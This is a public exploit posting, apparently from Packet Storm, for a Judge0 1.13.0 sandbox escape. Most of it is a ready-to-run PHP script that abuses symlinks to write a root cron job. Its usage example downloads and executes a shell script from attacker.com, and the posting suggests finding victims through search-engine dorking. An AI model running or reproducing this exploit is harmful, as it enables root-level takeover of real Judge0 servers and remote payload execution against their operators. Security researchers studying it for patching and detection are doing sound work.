Share
## https://sploitus.com/exploit?id=PACKETSTORM:189469
=============================================================================================================================================
| # Title : Judge0 v 1.13.0 PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://github.com/judge0/ |
=============================================================================================================================================
POC :
[+] Dorking ฤฐn Google Or Other Search Enggine.
[+] The code is an exploit written in PHP to exploit a vulnerability in Judge0,
which allows arbitrary commands to be executed on the target system by exploiting symlinks inside the sandbox environment.
[+] save code as poc.php .
[+] USage : cmd => c:\www\test\php poc.php
[+] SeT target = Line : 111 + 114
[+] PayLoad :
<?php
class Judge0Exploit
{
private $target;
private $bash_id;
private $languages = [];
public function __construct($target)
{
$this->target = rtrim($target, '/');
}
private function send_request($endpoint, $method = 'GET', $data = null)
{
$url = "{$this->target}{$endpoint}";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
if ($data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
}
$response = curl_exec($ch);
curl_close($ch);
return json_decode($response, true);
}
private function compile_language_ids()
{
$languages = $this->send_request('/languages');
if (!$languages) {
return false;
}
foreach ($languages as $language) {
if (strpos($language['name'], 'Bash') !== false) {
$this->bash_id = $language['id'];
}
$lang_info = $this->send_request("/languages/{$language['id']}");
if ($lang_info && isset($lang_info['compile_cmd']) && !$lang_info['is_archived']) {
$this->languages[] = $language;
}
}
return !empty($this->languages);
}
public function check_vulnerability()
{
$res = $this->send_request('/version');
if (!$res) {
return "Unknown";
}
$version = $res;
if (version_compare($version, '1.13.0', '<=')) {
echo "Vulnerable version detected: $version\n";
return $this->compile_language_ids() ? "Appears" : "Unknown";
}
return "Safe";
}
public function exploit($cmd)
{
if (!$this->compile_language_ids()) {
die("Failed to get compile language ids\n");
}
$this->send_request('/submissions?wait=true', 'POST', [
'source_code' => 'mv run runbak; ln -s /bin/rm run',
'language_id' => $this->bash_id ?? 46
]);
$cron_path = "/etc/cron.d/" . bin2hex(random_bytes(4));
echo "Writing cron job to $cron_path\n";
$language = !empty($this->languages) ? $this->languages[array_rand($this->languages)] : ['id' => 73, 'name' => 'Rust'];
echo "Using language: {$language['id']}, {$language['name']}\n";
$this->send_request('/submissions?wait=true', 'POST', [
'source_code' => "#test " . bin2hex(random_bytes(5)),
'language_id' => $language['id'],
'compiler_options' => "--version\nln -s /bin/rm ./run\n#",
'command_line_arguments' => "x\n" .
"cp /bin/rm {$cron_path}\n" .
"cp /usr/bin/unlink /bin/rm\n" .
"sed -i 's/.*/#/g' {$cron_path}\n" .
"sed -i \"2i {$this->cron_file($cmd)}\" {$cron_path}\n" .
"echo 'ok'\n"
]);
echo "Exploit executed. Check cron jobs for execution.\n";
}
private function cron_file($command)
{
return "SHELL=/bin/sh\n" .
"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\n" .
"* * * * * root $command\n";
}
}
// Usage example
$exploit = new Judge0Exploit("http://target-ip:2358");
$vuln_status = $exploit->check_vulnerability();
if ($vuln_status === "Appears") {
$exploit->exploit("wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh");
} else {
echo "Target is not vulnerable.\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================